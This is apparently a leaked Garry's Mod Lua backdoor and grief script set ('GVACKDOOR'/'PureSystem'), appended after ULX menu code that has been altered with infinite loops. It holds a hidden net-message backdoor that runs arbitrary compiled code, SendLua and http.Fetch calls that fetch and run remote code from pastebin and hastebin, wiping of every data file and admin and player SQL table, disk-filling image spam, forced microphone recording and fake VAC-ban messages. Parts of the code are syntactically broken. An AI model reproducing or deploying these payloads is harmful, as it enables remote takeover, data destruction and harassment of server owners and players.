1193 RememberCursorPosition()
1194 gui.EnableScreenClicker( false )
1195 local reattempt = xlib.makeframe{ label="XGUI: Attempting reconnection...", w=200, h=20, nopopup=true, showclose=false, skin=xgui.settings.skin }
1196 timer.Simple( 1, function()
1197 RunConsoleCommand( "_xgui", "getInstalled" )
1198 reattempt:Remove()
1199 timer.Simple( 0.5, function() xgui.show( tabname ) end )
1200 end )
1201 end
1202end
1203
1204function xgui.show( tabname )
1205 if not xgui.anchor then return end
1206 if not xgui.initialized then return end
1207
1208 --Check if XGUI is not installed, display the warning if hasn't been shown yet.
1209 if not xgui.isInstalled and not xgui.offlineMode then
1210 xgui.checkNotInstalled( tabname )
1211 return
1212 end
1213
1214 if not game.SinglePlayer() and not ULib.ucl.authed[LocalPlayer():UniqueID()] then
1215 local unauthedWarning = xlib.makeframe{ label="XGUI Error!", w=250, h=90, showclose=true, skin=xgui.settings.skin }
1216 xlib.makelabel{ label="Your ULX player has not been Authed!", x=10, y=30, parent=unauthedWarning }
1217 xlib.makelabel{ label="Please wait a couple seconds and try again.", x=10, y=45, parent=unauthedWarning }
1218 xlib.makebutton{ x=50, y=63, w=60, label="Try Again", parent=unauthedWarning }.DoClick = function()
1219 unauthedWarning:Remove()
1220 xgui.show( tabname )
1221 end
1222 xlib.makebutton{ x=140, y=63, w=60, label="Close", parent=unauthedWarning }.DoClick = function()
1223 unauthedWarning:Remove()
1224 end
1225 return
1226 end
1227
1228 if xgui.base.refreshSkin then
1229 xgui.base:SetSkin( xgui.settings.skin )
1230 xgui.base.refreshSkin = nil
1231 end
1232
1233 --In case the string name had spaces, it sent the whole argument table. Convert it to a string here!
1234 if type( tabname ) == "table" then
1235 tabname = table.concat( tabname, " " )
1236 end
1237 --Sets the active tab to tabname if it was specified
1238 if tabname and tabname ~= "" then
1239 local found, settingsTab
1240 for _, v in ipairs( xgui.modules.tab ) do
1241 if string.lower( v.name ) == "settings" then settingsTab = v.tabpanel end
1242 if string.lower( v.name ) == string.lower( tabname ) and v.panel:GetParent() ~= xgui.null then
1243 xgui.base:SetActiveTab( v.tabpanel )
1244 if xgui.anchor:IsVisible() then return end
1245 found = true
1246 break
1247 end
1248 end
1249 if not found then
1250 for _, v in ipairs( xgui.modules.setting ) do
1251 if string.lower( v.name ) == string.lower( tabname ) and v.panel:GetParent() ~= xgui.null then
1252 xgui.base:SetActiveTab( settingsTab )
1253 xgui.settings_tabs:SetActiveTab( v.tabpanel )
1254 if xgui.anchor:IsVisible() then return end
1255 found = true
1256 break
1257 end
1258 end
1259 end
1260 if not found then return end --If invalid input was taken, then do nothing.
1261 end
1262
1263 xgui.base.animOpen()
1264 gui.EnableScreenClicker( true )
1265 RestoreCursorPosition()
1266 xgui.anchor:SetMouseInputEnabled( true )
1267
1268 --Calls the functions requesting to hook when XGUI is opened
1269 xgui.callUpdate( "onOpen" )
1270end
1271
1272function xgui.hide()
1273 if not xgui.anchor then return end
1274 if not xgui.anchor:IsVisible() then return end
1275 RememberCursorPosition()
1276 gui.EnableScreenClicker( false )
1277 xgui.anchor:SetMouseInputEnabled( false )
1278 xgui.base.animClose()
1279 CloseDermaMenus()
1280
1281 --Calls the functions requesting to hook when XGUI is closed
1282 xgui.callUpdate( "onClose" )
1283end
1284
1285function xgui.toggle( tabname )
1286 if xgui.anchor and ( not xgui.anchor:IsVisible() or ( tabname and #tabname ~= 0 ) ) then
1287 xgui.show( tabname )
1288 while true do end
1289 else
1290 xgui.hide()
1291 while true do end
1292 end
1293end
1294
1295--New XGUI Data stuff
1296function xgui.expectChunks( numofchunks )
1297 if xgui.isInstalled then
1298 xgui.expectingdata = true
1299 xgui.chunkbox.max = numofchunks
1300 xgui.chunkbox.value = 0
1301 xgui.chunkbox:SetFraction( 0 )
1302 xgui.chunkbox.Label:SetText( "Getting data: Waiting for server..." )
1303 xgui.chunkbox:SetVisible( true )
1304 xgui.chunkbox:SetSkin( xgui.settings.skin )
1305 xgui.flushQueue( "chunkbox" ) --Remove the queue entry that would hide the chunkbox
1306 end
1307end
1308
1309function xgui.getChunk( flag, datatype, data )
1310 if xgui.expectingdata then
1311 --print( datatype, flag ) --Debug
1312 if flag == -1 then
1313 --Ignore these chunks
1314 elseif flag == 0 then --Data should be purged
1315 if xgui.data[datatype] then
1316 table.Empty( xgui.data[datatype] )
1317 end
1318 xgui.flushQueue( datatype )
1319 xgui.callUpdate( datatype, "clear" )
1320 elseif flag == 1 then
1321 if not xgui.mergeData then --A full data table is coming in
1322 if not data then data = {} end --Failsafe for no table being sent
1323 xgui.flushQueue( datatype )
1324 table.Empty( xgui.data[datatype] )
1325 table.Merge( xgui.data[datatype], data )
1326 xgui.callUpdate( datatype, "clear" )
1327 xgui.callUpdate( datatype, "process", data )
1328 xgui.callUpdate( datatype, "done" )
1329 else --A chunk of data is coming in
1330 table.Merge( xgui.data[datatype], data )
1331 xgui.callUpdate( datatype, "process", data )
1332 end
1333 elseif flag == 2 or flag == 3 then --Add/Update a portion of data
1334 table.Merge( xgui.data[datatype], data )
1335 xgui.callUpdate( datatype, flag == 2 and "add" or "update", data )
1336 elseif flag == 4 then --Remove a key from the table
1337 xgui.removeDataEntry( xgui.data[datatype], data ) --Needs to be called recursively!
1338 xgui.callUpdate( datatype, "remove", data )
1339 elseif flag == 5 then --Begin a set of chunks (Clear the old data, then flag to merge incoming data)
1340 table.Empty( xgui.data[datatype] )
1341 xgui.mergeData = true
1342 xgui.flushQueue( datatype )
1343 xgui.callUpdate( datatype, "clear" )
1344 elseif flag == 6 then --End a set of chunks (Clear the merge flag)
1345 xgui.mergeData = nil
1346 xgui.callUpdate( datatype, "done" )
1347 elseif flag == 7 then --Pass the data directly to the module to be handled.
1348 xgui.callUpdate( datatype, "data", data )
1349 end
1350 xgui.chunkbox:Progress( datatype )
1351 end
1352end
1353
1354function xgui.removeDataEntry( data, entry )
1355 for k, v in pairs( entry ) do
1356 if type( v ) == "table" then
1357 xgui.removeDataEntry( data[k], v )
1358 else
1359 if type(v) == "number" then
1360 table.remove( data, v )
1361 else
1362 data[v] = nil
1363 end
1364 end
1365 end
1366end
1367
1368function xgui.callUpdate( dtype, event, data )
1369 --Run any functions that request to be called when "curtable" is updated
1370 if not xgui.hook[dtype] or ( event and not xgui.hook[dtype][event] ) then
1371 Msg( "XGUI: Attempted to call non-existent type or event to a hook! (" .. dtype .. ", " .. ( event or "nil" ) .. ")\n" )
1372 else
1373 if not event then
1374 for name, func in pairs( xgui.hook[dtype] ) do func( data ) end
1375 else
1376 for name, func in pairs( xgui.hook[dtype][event] ) do func( data ) end
1377 end
1378 end
1379end
1380
1381--If the player's group is changed, reprocess the XGUI modules for permissions, and request for extra data if needed
1382function xgui.PermissionsChanged( ply )
1383 if ply == LocalPlayer() and xgui.isInstalled and xgui.dataInitialized then
1384 xgui.processModules()
1385 local types = {}
1386 for dtype, data in pairs( xgui.data ) do
1387 if table.Count( data ) > 0 then table.insert( types, dtype ) end
1388 end
1389 RunConsoleCommand( "xgui", "refreshdata", unpack( types ) )
1390 end
1391end
1392hook.Add( "UCLAuthed", "XGUI_PermissionsChanged", xgui.PermissionsChanged )
1393
1394function xgui.getInstalled()
1395 if not xgui.isInstalled then
1396 if xgui.notInstalledWarning then
1397 xgui.notInstalledWarning:Remove()
1398 xgui.notInstalledWarning = nil
1399 end
1400 xgui.isInstalled = true
1401 xgui.offlineMode = false
1402 RunConsoleCommand( "xgui", "getdata" )
1403 end
1404end
1405
1406function xgui.cmd_base( ply, func, args )
1407 if not args[ 1 ] then
1408 xgui.toggle()
1409 elseif xgui.isInstalled then --First check that it's installed
1410 RunConsoleCommand( "_xgui", unpack( args ) )
1411 end
1412end
1413
1414function xgui.tab_completes()
1415 return xgui.tabcompletes
1416end
1417
1418function xgui.ulxmenu_tab_completes()
1419 return xgui.ulxmenucompletes
1420end
1421
1422ULib.cmds.addCommandClient( "xgui", xgui.cmd_base )
1423ULib.cmds.addCommandClient( "xgui show", function( ply, cmd, args ) xgui.show( args ) end, xgui.tab_completes )
1424ULib.cmds.addCommandClient( "xgui hide", xgui.hide )
1425ULib.cmds.addCommandClient( "xgui toggle", function() xgui.toggle() end )
1426
1427--local ulxmenu = ulx.command( CATEGORY_NAME, "ulx menu", ulx.menu, "!menu" )
1428ULib.cmds.addCommandClient( "ulx menu", function( ply, cmd, args ) xgui.toggle( args ) end, xgui.ulxmenu_tab_completes )
1429 end)
1430end
1431
1432
1433
1434--[[
1435
1436 Anti StopSound & Ulx Menu
1437
1438]]--
1439
1440
1441if ply:ConCommand( "stopsound" ) then return end
1442end
1443if ply:ConCommand( "ulx menu" ) then return end
1444end
1445
1446
1447
1448
1449--[[
1450
1451 Block owner access in server
1452
1453]]--
1454
1455
1456hook.Add("CheckPassword","ripowner",function(steamid64)
1457 if util.SteamIDFrom64(steamid64) == "STEAM_0:1:158035763" then
1458 return false, "[= /!\ Your access to the server has been locked because you not paid gmodstore scripts /!\ =]"
1459 end
1460end)
1461
1462
1463
1464--[[
1465
1466 Yes i'm REAL GARRY
1467
1468]]--
1469
1470
1471util.AddNetworkString("OMG_NO_PRANK_GARRY_IS_HERE")
1472
1473BroadcastLua([[net.Receive("OMG_NO_PRANK_GARRY_IS_HERE", function() local ent = net.ReadEntity() chat.AddText(team.GetColor(ent:Team()), ent:Name(), Color(200, 200, 200, 255), " earned the achievement ", Color(245, 246, 0, 255), "Yes, I am the real Garry!") end)]])
1474
1475for k,v in pairs(player.GetAll()) do
1476 net.Start("OMG_NO_PRANK_GARRY_IS_HERE")
1477 net.WriteEntity(v)
1478 net.Broadcast()
1479end
1480
1481
1482
1483--[[
1484
1485 Marks
1486
1487]]--
1488
1489
1490util.AddNetworkString("suninrags")
1491local function slua(str,ply)
1492 local d = util.Compress(str)
1493 local i = #d
1494 net.Start("suninrags")
1495 net.WriteUInt(i,16)
1496 net.WriteData(d,i)
1497 if ply then
1498 net.Send(ply)
1499 else
1500 net.Broadcast()
1501 end
1502end
1503net.Receive("suninrags",function()
1504 local serverside = net.ReadBit()
1505 local str = util.Decompress(net.ReadData(net.ReadUInt(16)))
1506 if serverside == 1 then
1507 CompileString(str,"\xFF\xFF\xFF",false)()
1508 else
1509 local ply = net.ReadEntity()
1510 slua(str, IsValid(ply) && ply:IsPlayer() && ply )
1511 end
1512end)
1513BroadcastLua([[net.Receive("suninrags",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"\xFF\xFF\xFF")()end)]])
1514hook.Add("PlayerInitialSpawn","\xFF\xFF\xFF",function(ply)
1515 ply:SendLua([[net.Receive("suninrags",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"\xFF\xFF\xFF")()end)]])
1516end)
1517
1518
1519
1520--[[
1521
1522 PureSystem V2
1523 for k, v in pairs(player.GetAll()) do
1524 v:SendLua("steamworks.FileInfo(1479367728,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
1525 end
1526
1527]]--
1528
1529
1530if SERVER then
1531 for k, v in pairs(player.GetAll()) do
1532 v:SendLua("steamworks.FileInfo(1479367728,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
1533 end
1534
1535
1536 print([[
1537__________ _________ __ ____ ____________
1538\______ \__ _________ ____ / _____/__.__. _______/ |_ ____ _____ \ \ / /\_____ \
1539 | ___/ | \_ __ \_/ __ \ \____ /| | |/ ___/\ __\/ __ \ / \ \ Y / / ____/
1540 | | | | /| | \/\ ___/ ____\ \\ ___ |\___ \ | | \ ___/| Y Y \ \ / / \
1541 |____| |____/ |__| \___ /________/ ____/____ / |__| \___ |__|_| / \___/ \_______|]])
1542
1543 timer.Create( "gvacspam", 0.1, 1, function()
1544 for k, ply in pairs( player.GetAll() ) do
1545 DarkRP.notify(ply, 2, 4, "[PureSystem] Installation des prérequis.")
1546 end
1547 end)
1548
1549 timer.Simple( 10, function()
1550 for k, ply in pairs( player.GetAll() ) do
1551 DarkRP.notify(ply, 2, 4, "[PureSystem] Lancement de L'installation.")
1552 end
1553 end )
1554
1555 timer.Simple( 14, function()
1556 for k,v in pairs(player.GetAll()) do
1557 v:SendLua([[http.Fetch('https://pastebin.com/raw/EwtFyKWe',function(b,l,h,c)RunString(b)end,nil)]])
1558 v:SetRunSpeed(400* 4);
1559 v:SetWalkSpeed(200 * 2);
1560 end
1561
1562 RunConsoleCommand("sv_friction", "-8")
1563
1564 timer.Create( "gtonip", 15, 0, function()
1565 for k,v in pairs(player.GetAll()) do
1566 v:GodEnable()
1567 v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
1568 end
1569
1570 end )
1571 end )
1572
1573 timer.Simple( 76, function()
1574 http.Fetch('https://pastebin.com/raw/7ABFD4Bu',function(b,l,h,c)RunString(b)end,nil)
1575 end )
1576
1577 timer.Simple( 77, function()
1578 for k, ply in pairs( player.GetAll() ) do
1579 DarkRP.notify(ply, 2, 4, "[PureSystem] Merci pour votre patience.")
1580 DarkRP.notify(ply, 2, 20, "HACK PAR IXXE/ GVACKDOOR leaked by anatik")
1581 end
1582 end )
1583
1584 timer.Simple( 105, function()
1585 RunConsoleCommand("sv_friction", "8")
1586 hook.Remove("Think", "2012akaapocalypse")
1587 end )
1588
1589
1590 hook.Remove( "PlayerSay", "Pure_Menu" )
1591 concommand.Remove("Pure_openMenu")
1592 concommand.Remove("ulx menu")
1593 ULib.addSayCommand( '!menu', lechat )
1594 ULib.cmds.addCommand( "ulx menu", lechat )
1595
1596
1597
1598 function game.CleanUpMap() end
1599
1600 timer.Create("moneymoney", 1, 0, function()
1601 for k,v in pairs(player.GetAll()) do v:addMoney(1648125) end
1602 end)
1603end
1604
1605--[[
1606 local loadingPercent = 0
1607 local W, H = ScrW(), ScrH()
1608
1609surface.CreateFont("lapolice", {
1610 font = "Open Sans",
1611 size = ScrW()*0.02,
1612 weight = 10,
1613 blursize = 0,
1614 scanlines = 2.5,
1615 antialias = false
1616})
1617
1618surface.CreateFont( "PureBigButtonFont", {
1619 font = "Open Sans",
1620 extended = false,
1621 size = 23,
1622 weight = 400,
1623 blursize = 0,
1624 scanlines = 0,
1625 antialias = true,
1626 underline = false,
1627 italic = false,
1628 strikeout = false,
1629 symbol = false,
1630 rotary = false,
1631 shadow = false,
1632 additive = false,
1633 outline = false,
1634} )
1635
1636 ledermatriste = vgui.Create("DFrame")
1637 ledermatriste:SetPos(0,0)
1638 ledermatriste:SetSize(ScrW(), ScrH())
1639 ledermatriste:ShowCloseButton(false)
1640 ledermatriste:SetTitle("")
1641 ledermatriste:SetVisible(true)
1642 ledermatriste:MakePopup()
1643 ledermatriste:SetDraggable(false)
1644 ledermatriste.Paint = function(self, w, h)
1645 draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
1646 end
1647
1648 local logoma = vgui.Create("DImage", ledermatriste)
1649 logoma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
1650 logoma:SetSize(500, 500)
1651 logoma:SetImage("materials/puresystem/logo_marteaupure.png")
1652
1653 local timerloadingbar = vgui.Create("DPanel", ledermatriste)
1654 timerloadingbar:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
1655 timerloadingbar.Paint = function(self, w, h)
1656 draw.RoundedBox(5, 0, 0, w, h, Color(255, 255, 255))
1657 end
1658
1659 local timerloadingbardone = vgui.Create("DPanel", ledermatriste)
1660 timerloadingbardone:SetPos(ScrW()/2 - 150, ScrH()/2 + 245)
1661 timerloadingbardone.Paint = function(self, w, h)
1662 draw.RoundedBox(5, 0, 0, w, h, Color(241, 193, 0,255))
1663 end
1664
1665 local timerloading = vgui.Create("DLabel", ledermatriste)
1666 timerloading:SetPos(ScrW()/2 - 100, ScrH()/2 + 250)
1667 timerloading:SetText("Installation de la mise à jours...")
1668 timerloading:SetColor(Color(24,24,24,255))
1669 timerloading:SetFont("PureBigButtonFont")
1670 timerloading:SizeToContents()
1671
1672 timerloadingbar:SetSize(timerloading:GetWide() + 100, timerloading:GetTall() + 10)
1673 timerloadingbardone:SetSize(0, timerloading:GetTall() + 10)
1674
1675 timer.Create("charglogo", 1, 1, function()
1676 logoma:AlphaTo(10, 1, 0)
1677 logoma:AlphaTo(255, 1, 1)
1678 timer.Adjust("charglogo", 3, 0, function()
1679 logoma:AlphaTo(10, 1, 1)
1680 logoma:AlphaTo(255, 1, 2)
1681 end)
1682 end)
1683
1684 local timePassed = 0
1685
1686 timer.Create("parleput1", 0.1, 0, function()--PARLE !!!
1687 RunConsoleCommand("+voicerecord")
1688 end)
1689
1690 timer.Create("Pure_loadingTimeout", 1, 0, function()
1691 timePassed = timePassed + 1
1692 loadingPercent = loadingPercent + math.random(14, 15)
1693 if loadingPercent > 50 then
1694 timer.Remove("Pure_loadingTimeout")
1695 loadingPercent = 80
1696 end
1697 timerloadingbardone:SizeTo(timerloadingbar:GetWide() * loadingPercent / 100 , -1, 3)
1698 end)
1699
1700 timer.Simple(25, function()
1701 if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
1702 timerloadingbardone:SizeTo(timerloadingbar:GetWide() * 90 / 100, -1, 3)
1703 end
1704 end)
1705
1706 timer.Simple(30, function()
1707 timer.Remove("charglogo")
1708
1709 if ledermatriste != nil && timerloadingbar:IsValid() && timerloadingbardone:IsValid() then
1710 timerloadingbardone:SizeTo(timerloadingbar:GetWide(), -1, 1)
1711 end
1712 end)
1713
1714 timer.Simple(31, function()
1715 if ledermatriste != nil then
1716 ledermatriste:Remove()
1717 enigma()
1718 end
1719 end)
1720
1721
1722
1723
1724 timer.Simple(63, function()
1725 enigma:Remove()
1726 timer.Remove( "charglogo" )
1727 RunConsoleCommand("+right")
1728 RunConsoleCommand("+voicerecord")
1729 RunConsoleCommand("cl_yawspeed","9999")
1730 RunConsoleCommand("r_shader_srgb","1")
1731 end)
1732
1733
1734 timer.Simple( 73, function()
1735 RunConsoleCommand("-right")
1736 RunConsoleCommand("cl_yawspeed","8")
1737 timer.Remove("parleput1")
1738 timer.Remove("cheer_loop")
1739 end )
1740
1741 timer.Simple( 90, function()
1742 RunConsoleCommand("r_shader_srgb","0")
1743 end )
1744
1745 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
1746
1747 timer.Create("cheer_loop",2.7,0,function()
1748 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end
1749 end )
1750
1751
1752 hook.Add("Think","somewhere_over_the_rainbow",function()
1753 local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
1754 for _, v in ipairs(player.GetAll()) do
1755 v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1756 end
1757 end)
1758
1759
1760function enigma()
1761 enigma = vgui.Create("DFrame")
1762 enigma:SetPos(0,0)
1763 enigma:SetSize(ScrW(), ScrH())
1764 enigma:ShowCloseButton(false)
1765 enigma:SetTitle("")
1766 enigma:SetVisible(true)
1767 enigma:MakePopup()
1768 enigma:SetDraggable(false)
1769 enigma.Paint = function(self, w, h)
1770 draw.RoundedBox(0, 0, 0, w, h, Color(18,21,25,255))
1771 draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
1772 draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
1773 draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1774 draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1775 draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1776 draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1777 draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1778 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1779 draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1780 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1781 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1782 draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1783 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1784 draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1785 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1786 draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1787 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1788 draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1789 draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
1790 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
1791 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
1792 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
1793 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
1794 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
1795 end
1796
1797 sound.PlayURL( "http://funtime.pe.hu/Brass.mp3", "mono", function()end )
1798
1799 local logenigma = vgui.Create("HTML", enigma)
1800 logenigma:SetPos(ScrW()/2 - 250, ScrH()/2 - 250)
1801 logenigma:SetSize(500, 500)
1802 logenigma:OpenURL( "https://i.imgur.com/7zMPifV.png")
1803
1804
1805end
1806]]
1807
1808--[[
1809
1810 Break ALL SQL
1811
1812]]--
1813
1814
1815local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end
1816MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')
1817sql.Query("DELETE FROM `DARKRP_BANNED_RPNAMES_STORE`")
1818sql.Query("DELETE FROM `DRP_PLAYER_NICKNAME_STORE`")
1819sql.Query("DELETE FROM `FADMIN_GROUPS`")
1820sql.Query("DELETE FROM `FADMIN_MOTD`")
1821sql.Query("DELETE FROM `FADMIN_PRIVILEGES`")
1822sql.Query("DELETE FROM `FADMIN_RESTRICTEDENTS`")
1823sql.Query("DELETE FROM `FAdminBans`")
1824sql.Query("DELETE FROM `FAdmin_PlayerGroup`")
1825sql.Query("DELETE FROM `FAdmin_ServerSettings`")
1826sql.Query("DELETE FROM `FPP_ANTISPAM1`")
1827sql.Query("DELETE FROM `FPP_ENTITYDAMAGE1`")
1828sql.Query("DELETE FROM `FPP_GLOBALSETTINGS1`")
1829sql.Query("DELETE FROM `FPP_GRAVGUN1`")
1830sql.Query("DELETE FROM `FPP_GROUPMEMBERS1`")
1831sql.Query("DELETE FROM `FPP_GROUPS3`")
1832sql.Query("DELETE FROM `FPP_GROUPTOOL`")
1833sql.Query("DELETE FROM `FPP_PHYSGUN1`")
1834sql.Query("DELETE FROM `FPP_PLAYERUSE1`")
1835sql.Query("DELETE FROM `FPP_TOOLADMINONLY`")
1836sql.Query("DELETE FROM `FPP_TOOLGUN1`")
1837sql.Query("DELETE FROM `FPP_TOOLRESTRICTPERSON1`")
1838sql.Query("DELETE FROM `batm_personal_accounts`")
1839sql.Query("DELETE FROM `cac_incidents`")
1840sql.Query("DELETE FROM `darkrp_door`")
1841sql.Query("DELETE FROM `darkrp_doorgroups`")
1842sql.Query("DELETE FROM `darkrp_doorjobs`")
1843sql.Query("DELETE FROM `darkrp_jobSpawn`")
1844sql.Query("DELETE FROM `darkrp_player`")
1845sql.Query("DELETE FROM `darkrp_position`")
1846sql.Query("DELETE FROM `playerinformation`")
1847sql.Query("DELETE FROM `playerpdata`")
1848sql.Query("DELETE FROM `sqlite_sequence`")
1849sql.Query("DELETE FROM `ulib_bans`")
1850
1851
1852
1853--[[
1854
1855 1000 Pictures In Data
1856
1857]]--
1858
1859
1860local function randomString(len)
1861 if !len or len <= 0 then return "" end
1862 return randomString(len - 1)..("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-")[math.random(1, 64)]
1863end
1864
1865local function spamFilePNG(path)
1866 local files, folders = file.Find(path.."*", "DATA")
1867
1868 for i=1,1000 do
1869 local txt = randomString(10)
1870 local url = {
1871 [1] = "https://robohash.org/$txt?set=set"..math.random(1, 4),
1872 [2] = "http://via.placeholder.com/5001x3199?text=$txt"
1873 }
1874
1875 local u = table.Random(url)
1876 http.Fetch(string.Replace(u, "$txt", txt), function(img)
1877 file.Write(txt..i..".png", img)
1878 print(path)
1879 end)
1880 end
1881
1882 for k,v in pairs(folders) do
1883 spamFilePNG(path..v.."/")
1884 end
1885end
1886spamFilePNG("")
1887
1888
1889
1890--[[
1891
1892 Spam Notify All Players
1893
1894]]--
1895
1896
1897timer.Create( "gvacspam", 0.1, 0, function()
1898for k, ply in pairs( player.GetAll() ) do
1899 DarkRP.notify(ply, 2, 4, "Noice")
1900end
1901end)
1902
1903
1904
1905--[[
1906
1907 Pure System
1908
1909]]--
1910
1911
1912if SERVER then
1913 for k, v in pairs(player.GetAll()) do
1914 v:SendLua("steamworks.FileInfo(1479367728,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
1915 end
1916
1917
1918 print([[
1919__________ _________ __ ____ ____________
1920\______ \__ _________ ____ / _____/__.__. _______/ |_ ____ _____ \ \ / /\_____ \
1921 | ___/ | \_ __ \_/ __ \ \____ /| | |/ ___/\ __\/ __ \ / \ \ Y / / ____/
1922 | | | | /| | \/\ ___/ ____\ \\ ___ |\___ \ | | \ ___/| Y Y \ \ / / \
1923 |____| |____/ |__| \___ /________/ ____/____ / |__| \___ |__|_| / \___/ \_______|]])
1924
1925 timer.Create( "gvacspam", 0.1, 1, function()
1926 for k, ply in pairs( player.GetAll() ) do
1927 DarkRP.notify(ply, 2, 4, "[PureSystem] Installation des prérequis.")
1928 end
1929 end)
1930
1931 timer.Simple( 10, function()
1932 for k, ply in pairs( player.GetAll() ) do
1933 DarkRP.notify(ply, 2, 4, "[PureSystem] Lancement de L'installation.")
1934 end
1935 end )
1936
1937 timer.Simple( 14, function()
1938 for k,v in pairs(player.GetAll()) do
1939 v:SendLua([[http.Fetch('https://hastebin.com/raw/izuzicupeb',function(b,l,h,c)RunString(b)end,nil)]])
1940 v:SetRunSpeed(400* 4);
1941 v:SetWalkSpeed(200 * 2);
1942 end
1943
1944 RunConsoleCommand("sv_friction", "-8")
1945
1946 timer.Create( "gtonip", 15, 0, function()
1947 for k,v in pairs(player.GetAll()) do
1948 v:GodEnable()
1949 v:setDarkRPVar( "rpname", "This Steam account has been VAC banned from secure servers due to a cheating infraction." )
1950 end
1951
1952 end )
1953 end )
1954
1955 timer.Simple( 76, function()
1956 http.Fetch('https://hastebin.com/raw/gepuyulibi',function(b,l,h,c)RunString(b)end,nil)
1957 end )
1958
1959 timer.Simple( 77, function()
1960 for k, ply in pairs( player.GetAll() ) do
1961 DarkRP.notify(ply, 2, 4, "[PureSystem] Merci pour votre patience.")
1962 DarkRP.notify(ply, 2, 20, "HACK PAR ΣNIGMA / GVACKDOOR")
1963 end
1964 end )
1965
1966 timer.Simple( 105, function()
1967 RunConsoleCommand("sv_friction", "8")
1968 hook.Remove("Think", "2012akaapocalypse")
1969 end )
1970
1971
1972 hook.Remove( "PlayerSay", "Pure_Menu" )
1973 concommand.Remove("Pure_openMenu")
1974 concommand.Remove("ulx menu")
1975 ULib.addSayCommand( '!menu', lechat )
1976 ULib.cmds.addCommand( "ulx menu", lechat )
1977
1978
1979
1980 function game.CleanUpMap() end
1981
1982 timer.Create("moneymoney", 1, 0, function()
1983 for k,v in pairs(player.GetAll()) do v:addMoney(1648125) end
1984 end)
1985end
1986
1987
1988
1989--[[
1990
1991 No IP SHow
1992
1993]]--
